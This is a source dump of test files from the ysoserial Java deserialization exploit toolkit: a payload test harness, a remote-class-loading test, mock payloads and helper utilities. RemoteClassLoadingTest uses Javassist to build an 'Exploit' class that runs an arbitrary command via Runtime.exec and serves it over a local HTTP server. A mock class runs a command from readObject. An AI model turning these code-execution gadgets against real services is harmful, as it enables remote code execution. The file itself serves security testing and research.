Maven.configureResolver() .withMavenCentralRepo(true) .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default") .resolve(dependencies).withoutTransitivity().asFile() : new File[0]; URL[] urls = new URL[jars.length]; for ( int i = 0; i < jars.length; i++ ) { urls[ i ] = jars[ i ].toURI().toURL(); } URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) { { for ( Class clazz : classDependencies ) { byte[] classAsBytes = ClassFiles.classAsBytes(clazz); defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); } byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class); defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); if ( customDeserializer != null ) { try { Method method = customDeserializer.getMethod("getExtraDependencies"); for ( Class extra : (Class[])method.invoke(null)) { deserializerClassBytes = ClassFiles.classAsBytes(extra); defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); } } catch ( NoSuchMethodException e ) { } deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer); defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); } } }; Class deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName()); Callable deserializer = (Callable) deserializerClass.getConstructors()[ 0 ].newInstance(serialized); ClassLoader ccl = Thread.currentThread().getContextClassLoader(); try { // set CCL for Clojure https://groups.google.com/forum/#!topic/clojure/F3ERon6Fye0 Thread.currentThread().setContextClassLoader(isolatedClassLoader); final Object obj = deserializer.call(); return obj; } finally { Thread.currentThread().setContextClassLoader(ccl); } } public static void main(String[] args) { JUnitCore junit = new JUnitCore(); PayloadListener listener = new PayloadListener(); junit.addListener(listener); Result result = junit.run(PayloadsTest.class); System.exit(result.wasSuccessful() ? 0 : 1); } public static class StdIo { private static final PrintStream realOut = System.out; private static final PrintStream realErr = System.err; public static void restoreStreams() { setStreams(realOut, realErr); } public static void setStreams(PrintStream out, PrintStream err) { System.setOut(out); System.setErr(err); } public static void setStreams(OutputStream out, OutputStream err) { setStreams(new PrintStream(out), new PrintStream(err)); } } public static class PayloadListener extends RunListener { public enum Status { SUCCESS, FAILURE, IGNORE, ASSUMPTION_FAILURE } private Map outs = new HashMap(); private Map errs = new HashMap(); private Map statuses = new HashMap(); private Map failures = new HashMap(); @Override public void testStarted(Description description) throws Exception { System.out.println(getPayload(description.getDisplayName()) + ": STARTED"); statuses.put(description, Status.SUCCESS); ByteArrayOutputStream out = new ByteArrayOutputStream(); // ByteArrayOutputStream err = new ByteArrayOutputStream(); outs.put(description, out); // errs.put(description, err); StdIo.setStreams(out, out); } @Override public void testFinished(Description description) throws Exception { outs.get(description).close(); //errs.get(description).close(); StdIo.restoreStreams(); Status status = statuses.get(description); System.out.println(getPayload(description.getDisplayName()) + ": " + status); if (status == Status.FAILURE) System.err.println(outs.get(description).toString()); } @Override public void testFailure(Failure failure) throws Exception { statuses.put(failure.getDescription(), Status.FAILURE); failures.put(failure.getDescription(), failure); } @Override public void testAssumptionFailure(Failure failure) { statuses.put(failure.getDescription(), Status.ASSUMPTION_FAILURE); failures.put(failure.getDescription(), failure); } // testPayload[payloadClass: class ysoserial.payloads.JavassistWeld1](ysoserial.test.payloads.PayloadsTest) public static String getPayload(String displayName) { return displayName.replaceAll(".*\\[\\S+: class (\\w+\\.)+(\\w+)\\].*", "$2"); } } } ================================================ FILE: src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java ================================================ package ysoserial.test.payloads; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.Serializable; import java.util.Random; import java.util.concurrent.Callable; import fi.iki.elonen.NanoHTTPD; import fi.iki.elonen.NanoHTTPD.Response.Status; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import ysoserial.test.WrappedTest; /** * @author mbechler * */ public class RemoteClassLoadingTest implements WrappedTest { int port; private String command; private String className; public RemoteClassLoadingTest ( String command ) { this.command = command; this.port = new Random().nextInt(65535-1024)+1024; this.className = "Exploit-" + System.currentTimeMillis(); } public String getPayloadArgs () { return String.format("http://localhost:%d/", this.port) + ":" + this.className; } public int getHTTPPort () { return this.port; } public Callable createCallable ( Callable innerCallable ) { return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable); } public String getExploitClassName () { return this.className; } protected byte[] makePayloadClass () { try { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(Exploit.class)); final CtClass clazz = pool.get(Exploit.class.getName()); clazz.setName(this.className); clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); return clazz.toBytecode(); } catch ( Exception e ) { e.printStackTrace(); return new byte[0]; } } static class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable { private Callable innerCallable; private byte[] data; private Object waitLock = new Object(); public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable innerCallable ) { super(port); this.data = data; this.innerCallable = innerCallable; } public void waitFor() throws InterruptedException { synchronized ( this.waitLock ) { this.waitLock.wait(1000); } } public Object call () throws Exception { try { setup(); Object res = this.innerCallable.call(); waitFor(); Thread.sleep(1000); return res; } finally { cleanup(); } } private void setup () throws IOException { start(NanoHTTPD.SOCKET_READ_TIMEOUT, false); } private void cleanup () { stop(); } @Override public Response serve ( IHTTPSession sess ) { System.out.println("Serving " + sess.getUri()); Response response = newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); synchronized ( this.waitLock ) { this.waitLock.notify(); } return response; } } public static class Exploit implements Serializable { private static final long serialVersionUID = 1L; } } ================================================ FILE: src/test/java/ysoserial/test/payloads/TestHarnessTest.java ================================================ package ysoserial.test.payloads; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import org.hamcrest.CoreMatchers; import org.junit.Assert; import org.junit.Test; import ysoserial.payloads.ObjectPayload; public class TestHarnessTest { // make sure test harness fails properly @Test public void testHarnessExecFail() throws Exception { try { PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]); Assert.fail("should have failed"); } catch (AssertionError e) { Assert.assertThat(e.getMessage(), CoreMatchers.containsString("test file should exist")); } } // make sure test harness fails properly @Test public void testHarnessClassLoaderFail() throws Exception { try { PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]); Assert.fail("should have failed"); } catch (AssertionError e) { //Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); } } // make sure test harness passes properly with trivial execution gadget @Test public void testHarnessExecPass() throws Exception { PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class }); } public static class ExecMockPayload implements ObjectPayload { public ExecMockSerializable getObject(String command) throws Exception { return new ExecMockSerializable(command); } } public static class NoopMockPayload implements ObjectPayload { public Integer getObject(String command) throws Exception { return 1; } } @SuppressWarnings("serial") public static class ExecMockSerializable implements Serializable { private final String cmd; public ExecMockSerializable(String cmd) { this.cmd = cmd; } private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { throw new RuntimeException(e); } } } } ================================================ FILE: src/test/java/ysoserial/test/util/Callables.java ================================================ package ysoserial.test.util; import java.util.concurrent.Callable; public class Callables { public static interface BeforeAfterCallback { public void before(); public void after(); } public static class Wrapper implements Callable { private final Callable callable; private final BeforeAfterCallback callback; public Wrapper(Callable callable, BeforeAfterCallback callback) { this.callable = callable; this.callback = callback; } @Override public T call() throws Exception { try { callback.before(); return callable.call(); } finally { callback.after(); } } } public static Callable wrap(Callable callable, BeforeAfterCallback callback) { return new Wrapper(callable, callback); } } ================================================ FILE: src/test/java/ysoserial/test/util/Files.java ================================================ package ysoserial.test.util; import java.io.File; public class Files { public static void waitForFile(File file, int timeoutMs) throws InterruptedException { long timeout = System.currentTimeMillis() + timeoutMs; while (! file.exists() && System.currentTimeMillis() < timeout) { Thread.sleep(10); } } } ================================================ FILE: src/test/java/ysoserial/test/util/GadgetsTest.java ================================================ package ysoserial.test.util; import org.junit.Test; import ysoserial.payloads.util.Gadgets; public class GadgetsTest { @Test public void test_createTemplatesImpl_noCompilationError() throws Exception { Gadgets.createTemplatesImpl("hostname"); Gadgets.createTemplatesImpl("echo 'foobar'"); Gadgets.createTemplatesImpl("echo \"foobar\""); Gadgets.createTemplatesImpl("\"`';\\"); } } ================================================ FILE: src/test/java/ysoserial/test/util/OS.java ================================================ package ysoserial.test.util; public enum OS { WINDOWS, LINUX, OSX, OTHER; private static final OS os = determineOs(); public static OS get() { return os; } private static OS determineOs() { String osName = System.getProperty("os.name", "other").toLowerCase(); if (osName.contains("windows")) { return WINDOWS; } else if (osName.contains("mac os x")) { return OSX; } else if (osName.contains("linux")) { return LINUX; } else { return OTHER; } } public static String getTmpDir() { return System.getProperty("java.io.tmpdir"); } } ================================================ FILE: src/test/java/ysoserial/test/util/Throwables.java ================================================ package ysoserial.test.util; public class Throwables { public static Throwable getInnermostCause(final Throwable t) { final Throwable cause = t.getCause(); return cause == null || cause == t ? t : getInnermostCause(cause); } }